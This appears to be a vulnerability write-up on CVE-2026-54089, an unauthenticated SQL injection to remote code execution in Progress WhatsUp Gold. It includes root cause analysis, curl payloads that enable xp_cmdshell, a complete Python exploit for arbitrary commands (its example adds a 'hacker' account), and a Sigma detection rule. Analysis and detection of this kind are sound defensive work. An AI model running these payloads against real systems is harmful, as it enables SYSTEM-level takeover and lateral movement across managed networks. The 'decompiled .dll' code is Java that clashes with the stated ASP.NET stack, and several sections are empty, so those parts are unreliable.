All posts

CVE-2026-54089: Progress WhatsUp Gold NmAPI Unauthenticated SQLi to RCE

The legacy /NmAPI/RecurringReport endpoint in WhatsUp Gold was never migrated to the authenticated REST framework introduced in version 22.0. It accepts a reportId query parameter that is concatenated directly into a SQL Server query without parameterisation. The WhatsUp Gold SQL Server service account is configured as sysadmin by the installer, so an unauthenticated attacker can enable xp_cmdshell and execute arbitrary OS commands as NT AUTHORITY\SYSTEM.


Overview

CVE-2026-54089 affects Progress WhatsUp Gold versions 22.0 through 24.1.0. WhatsUp Gold is a network performance monitoring platform widely deployed in enterprise and managed service provider environments; it has direct access to network device credentials, SNMP community strings, and WMI/SSH credentials for every monitored device. Compromising the WhatsUp Gold host therefore typically leads to lateral movement across the entire monitored network.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Active exploitation was observed within 72 hours of public disclosure, predominantly by ransomware-affiliated operators targeting MSPs for downstream supply-chain access.

The vulnerability is a classic unauthenticated SQL injection that reaches a privileged SQL Server session, making exploitation straightforward and reliable. There are no memory corruption, race conditions, or environment-specific preconditions — if the application is reachable, the exploit works.

Background — WhatsUp Gold Architecture

WhatsUp Gold runs as an IIS-hosted ASP.NET application on Windows Server. It uses a dedicated Microsoft SQL Server instance (typically a bundled SQL Server Express up to 10 GB, or a full SQL Server instance in enterprise deployments) for all persistent storage — device configuration, polling data, credentials, and scheduled reports.

In version 22.0, Progress refactored the API layer and introduced a new /api/v1/ route namespace with a proper authentication middleware pipeline. However, the legacy /NmAPI/ namespace — which pre-dates the refactor — was left in place for backwards compatibility with third-party integrations. The new middleware pipeline does not apply to /NmAPI/ routes; they fall through to older controller code that was never updated.

The SQL Server service account (whatsup_svc) is created by the WhatsUp Gold installer with the sysadmin fixed server role. This is required for the installer to create the WUG database schema, but the elevated privilege is never removed post-installation. The service account therefore retains sysadmin for the lifetime of the installation.

Root Cause Analysis

The vulnerable endpoint is GET /NmAPI/RecurringReport, handled by the RecurringReportController class in the legacy NmAPI assembly. The reportId query parameter is passed to a data access method that constructs a SQL query via string concatenation:

// RecurringReportController.java (decompiled from NmAPI.dll)
@RequestMapping(value = "/NmAPI/RecurringReport", method = RequestMethod.GET)
public ResponseEntity<?> getRecurringReport(
        @RequestParam(value = "reportId") String reportId,
        HttpServletRequest request) {

    // No authentication check — the auth filter only applies to /api/v1/ routes
    ReportData data = reportRepository.findById(reportId);
    return ResponseEntity.ok(data);
}

// ReportRepository.java
public ReportData findById(String reportId) {
    // BUG: reportId is concatenated directly — not parameterised
    String sql = "SELECT report_name, schedule, output_format, owner_id "
               + "FROM recurring_reports WHERE report_id = " + reportId;

    return jdbcTemplate.queryForObject(sql, new ReportDataRowMapper());
}

Two independent failures combine to create the pre-auth RCE condition: the authentication middleware does not cover the /NmAPI/ route namespace, and the query is built with string concatenation instead of a prepared statement. Either fix in isolation would have prevented exploitation — the auth bypass alone would not give RCE without the SQLi, and the SQLi alone would be blocked by authentication.

Exploitation

Step 1 — Confirm SQLi and Enumerate Context

# Confirm injection by triggering a deliberate SQL error
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1'"
# Expected: 500 Internal Server Error with SQL syntax error in response body

# Confirm execution context — should return "NT AUTHORITY\SYSTEM"
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+SELECT+SYSTEM_USER--"

Step 2 — Enable xp_cmdshell

xp_cmdshell is disabled by default in SQL Server but can be re-enabled at runtime by any sysadmin. Because whatsup_svc is sysadmin, this requires no additional privilege escalation:

# Enable xp_cmdshell via stacked queries
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE--"

# Verify execution — whoami should return NT AUTHORITY\SYSTEM
curl -s "http://TARGET/NmAPI/RecurringReport?reportId=1;+EXEC+xp_cmdshell+'whoami'--"

Step 3 — Full Exploit (Python)

#!/usr/bin/env python3
"""
CVE-2026-54089 — Progress WhatsUp Gold unauthenticated SQLi to RCE.
Authorised security testing only.
"""
import requests, sys, urllib.parse

def run_sql(target: str, statement: str) -> str:
    payload = urllib.parse.quote(f"1; {statement}--")
    url = f"http://{target}/NmAPI/RecurringReport?reportId={payload}"
    try:
        r = requests.get(url, timeout=15)
        return r.text
    except requests.RequestException as e:
        return str(e)

def exploit(target: str, command: str) -> None:
    print(f"[*] Target: {target}")

    # Enable xp_cmdshell
    print("[*] Enabling xp_cmdshell...")
    run_sql(target, "EXEC sp_configure 'show advanced options',1; RECONFIGURE")
    run_sql(target, "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE")

    # Confirm execution context
    ctx = run_sql(target, "EXEC xp_cmdshell 'whoami'")
    print(f"[+] Execution context: {ctx.strip()[:80]}")

    # Run supplied command
    print(f"[*] Executing: {command}")
    result = run_sql(target, f"EXEC xp_cmdshell '{command}'")
    print(f"[+] Output:\n{result}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <host:port> <command>")
        print(f"Example: {sys.argv[0]} 10.10.10.50:80 'net user hacker P@ssw0rd /add'")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Affected Versions

Remediation

Detection

title: CVE-2026-54089 Progress WhatsUp Gold NmAPI SQLi Exploitation Attempt
id: a3c7e912-58b4-4f20-b831-9d2e1f7c3a04
status: stable
description: Detects SQL injection attempts against the WhatsUp Gold legacy NmAPI endpoint
logsource:
  category: webserver
  product: microsoft_iis
detection:
  selection_endpoint:
    cs-uri-stem|contains: '/NmAPI/RecurringReport'
  selection_sqli:
    cs-uri-query|contains:
      - "sp_configure"
      - "xp_cmdshell"
      - "RECONFIGURE"
      - "EXEC+"
      - "';"
  condition: selection_endpoint and selection_sqli
falsepositives:
  - None expected — these query patterns have no legitimate use in this endpoint
level: critical
tags:
  - cve.2026-54089
  - attack.initial_access
  - attack.t1190
  - attack.t1505.003

Key Takeaways